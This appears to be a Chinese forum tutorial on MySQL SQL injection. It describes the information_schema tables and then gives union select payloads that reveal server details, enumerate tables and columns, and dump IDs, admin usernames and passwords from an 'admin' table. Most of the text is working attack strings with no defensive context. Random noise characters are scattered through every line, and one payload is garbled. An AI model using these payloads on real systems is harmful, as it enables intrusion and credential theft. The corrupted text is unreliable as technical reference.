本文介绍MYSQL盲注的一些语句和方法7 \; P4 U7 z/ h2 p w
, Q. A. C. [4 p7 G0 x& F
学习盲注前先了解下 IFORMATION_SCHEMA 库
# f" n( t! y3 j1 f9 {
2 ?" q4 l6 |2 k. z( G% Q: |1 lMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
$ |" x( v9 F% _* i' ^$ R. ]存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。) F2 a3 o4 N \% d! K0 e
1.得到所有数据库名:
+ O! Y& U3 G/ l|SCHEMATA ->存储数据库名的表
0 H! \; n# B; b' U7 U8 E|---字段:SCHEMA_NAME ->数据库名称4 o! J$ @. C; w& Q8 B3 S. A3 z5 A
& ]+ {$ s. ^! q: d0 v4 @ L
|TABLES ->存储表名& o1 ?: W2 l% q" v! I3 A
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
* ?5 D% {$ l3 G2 S+ y, q: |# i9 X|---字段:TABLE_NAME ->存储表的表名/ U2 G/ W7 U* \
. W9 J0 \' B/ Y! k& V
|COLUMNS ->存储的字段名表
r) S" ^& Z6 I% [. ]|---字段:TABLE_SCHEMA ->该字段所属数据库名
5 u! m5 U+ A, a! |( G$ ?: ]6 O|---字段:TABLE_NAME ->存储所属表的名称
( N9 F4 f' A' R- l' r' }6 n7 {" H. e; P# l8 g$ @
|---字段:COLUMN_NAME ->该字段的名称( W+ E5 g$ Q+ Z" k& h( A
8 N3 e" y, d' R$ S0 y K1 q
$ U& N. g+ n% f9 @
9 Q2 p% S- `0 ]/ X% t8 _###########################################################################
& h* I4 Y p! O- a" f& T5 j
* B7 ^9 `( \( A8 ? G" k0x001 获取系统信息:5 Q2 Z) S- {7 M2 j
5 B1 \1 l" E, v3 m% x. } N+ A9 tunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
7 m* b' E; [1 z0 ~1 x7 A
4 x8 ?% r- X" b1 J+ Y/*
* Z$ t! f* J& W! u( _4 L
# |2 r( {( _2 L% i@@global.version_compile_os 获取系统版本
. c4 C3 v o2 h3 x& t. A7 m7 B" @+ v4 ]
@@datadir 数据库路径
5 [! @: C: R; v3 b0 Idatabase() 当前数据库名称
: u/ f, \* j3 v0x3c62723e 换行HEX值
$ c% i% S. S9 i4 ?$ B3 f* f% u8 Y% h& S
*/" Y/ p, q* V- y( {, b5 `; h" }
1 s1 C8 I6 [1 S/ R; R7 r
+ x* R6 h: x$ t0 {9 J! g+ Y2 h; ?# n0 J' J
######################################################################0 r; t: r6 V" F5 t8 n
* J, W5 _+ {) j0x002 获取表名
. E8 s/ Q P$ d3 a, I+ `; _! `* {7 s+ \- `# }0 J) X
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /* v9 R4 }6 W' J7 L5 _; j7 r
. x- c0 M& r, B7 N
5 r5 g/ k% G. M) ~ M. L% {1 H, G7 a3 J& d- x
/*
( T; }, S$ a! x5 R7 E% X/ g+ [" u% S; Y, p3 g$ j1 K' t
0x67617264656e 为当前数据库名
) O" ]9 h5 C3 l1 e' ^& s: E! Y/ ^, o6 V! H G& X! r- x, e
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名0 A: @4 F& ]6 P g
5 F. V/ g2 P' k4 g% f2 z8 A4 n*/
- D' [/ e7 j; V6 L' m9 K" A# m' m! q3 E. P
######################################################################
% n6 }1 _6 s/ p
$ b* t, }( ~+ ?. `) f+ ?4 l $ T4 T8 K! U9 Q: Z" [ ~
`' ?' `, F/ i. t& M& @! c( t
0x003 获取字段1 X# K4 R2 L: D7 D* b. |
9 }* T$ `; n: Q! k1 l# x
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*6 I2 J0 M$ v: M! Z
- f2 a9 C% l O0 Z! G) C9 s
/*: b1 k- ]5 e$ ` A
* f' f/ u, m8 k- d# L; R! p: M
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
% `) K9 x7 Q5 M
2 D/ y! k' W/ K& y/ V; S0x61646d696e ->选择一个表 V) D$ L# j, e" O
8 q0 [3 u6 {1 N' [ S( A. r4 v
0x67617264656e ->数据库名" [: C1 g! E2 c
. W0 `/ [! t. `( o' i6 D3 m& E*/
5 Y* I( c0 F3 I, p
9 n. }2 M: Y& k& D% \' W/ Q) e#####################################################################% i6 m+ ]1 N w1 w
- L6 B& y0 B2 p, W) t. |+ f& s
7 | J9 S6 M3 Y6 u5 q7 U0 J9 }4 U$ }3 C1 w( T
0x004 获取数据
3 V9 P5 N4 R( \+ n
4 P1 K+ g; a% ]union select 1,2,3( Y4 L3 D, C4 P) ]/ L2 c5 a
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin. ~8 L0 Y, _/ i. c5 c0 W* J
' e. p1 y- H& [: }# n
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin' w ~/ t( N: R* k" E0 p9 M& T2 U
$ Q: R! m' l( r) p1 c! |8 F % B8 G& Y$ ?$ i, n) m4 V, Q
8 S8 e2 d2 J1 q9 P a& Q/*
9 Z* D! r8 L: w; |: I3 M0 _- H7 _. H
: W. A& ~6 b+ Z, [0 W/ c0x3c62723e 换行符号HEX编码; S* L( E3 h1 Y3 W s9 L) V9 }$ Y% |
1 e6 o6 j% ?# f2 H3 \0 p7 y7 e* Q1 N
group_concat 同时获得该字段所有数据
: e3 a) L2 H( [' }
( Z/ a9 s8 A, s' \*/
' C1 ^8 v" H7 m+ B& y
5 ~1 |- b ?$ k2 B: P4 L A |